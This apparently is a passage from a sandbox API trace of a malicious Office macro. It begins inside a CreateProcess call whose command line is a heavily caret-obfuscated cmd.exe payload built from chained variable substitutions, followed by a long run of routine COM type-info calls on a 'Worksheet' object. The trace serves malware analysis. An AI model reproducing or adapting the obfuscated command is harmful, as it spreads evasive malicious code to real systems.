z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )", lpProcessInformation=0x27d990*(hProcess=0xf9c, hThread=0xe6c, dwProcessId=0xb1c, dwThreadId=0xb20)) returned 1
	[0055.937] GetLastError () returned 0x0
	[0055.937] WaitForInputIdle (hProcess=0xf9c, dwMilliseconds=0x2710) returned 0xffffffff
	[0055.937] CloseHandle (hObject=0xe6c) returned 1
	[0055.938] CloseHandle (hObject=0xf9c) returned 1
	[0055.938] GetAsyncKeyState (vKey=27) returned 0
	[0055.941] IMalloc:Free (This=0x7feffc15380, pv=0x7177540) 
	[0055.942] IUnknown:QueryInterface (in: This=0xbb2bb30, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27e6d0 | out: ppvObject=0x27e6d0*=0x0) returned 0x80004002
	[0055.942] IUnknown:AddRef (This=0xbb2bbe0) returned 0x2
	[0055.942] IUnknown:AddRef (This=0xbb2bc38) returned 0x2
	[0055.942] IUnknown:QueryInterface (in: This=0xbb2bb30, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27e618 | out: ppvObject=0x27e618*=0xbb2bb30) returned 0x0
	[0055.942] ITypeInfo2:GetCustData (in: This=0xbb2bb30, GUID=0x7fee610d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x27e628 | out: pVarVal=0x27e628*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0
	[0055.942] IUnknown:Release (This=0xbb2bb30) returned 0x2
	[0055.942] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bb30, memid=-1, refPtrFlags=0x27e620, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e640 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e640*="") returned 0x0
	[0055.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x27e530, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10
	[0055.942] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1
	[0055.942] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2bbe0, ppTypeAttr=0x27e620, pDummy=0x0 | out: ppTypeAttr=0x27e620, pDummy=0x0) returned 0x0
	[0055.942] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2bbe0) returned 0x0
	[0055.942] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x0, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x4, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x5, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x6, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x7, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x8, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x9, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xa, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xb, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xc, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xd, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xe, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0xf, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x10, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x11, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x12, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x13, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x14, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x15, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x16, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.943] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x17, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.943] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x18, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x19, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1e, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x1f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x20, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x21, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x22, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x23, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x24, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x25, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x26, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x27, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x28, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x29, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.944] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.944] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x2f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x30, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x31, ppFuncDesc=0x27e5f8, pDummy=0x3ff0 | out: ppFuncDesc=0x27e5f8, pDummy=0x3ff0) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x32, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x33, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x34, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x35, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x36, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x37, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x38, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x39, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3a, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3b, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3c, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3d, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3e, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x3f, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
	[0055.945] ITypeInfo:LocalReleaseFuncDesc (This=0xbb2bbe0) returned 0x0
	[0055.945] ITypeInfo:RemoteGetFuncDesc (in: This=0xbb2bbe0, index=0x40, ppFuncDesc=0x27e5f8, pDummy=0x50 | out: ppFuncDesc=0x27e5f8, pDummy=0x50) returned 0x0
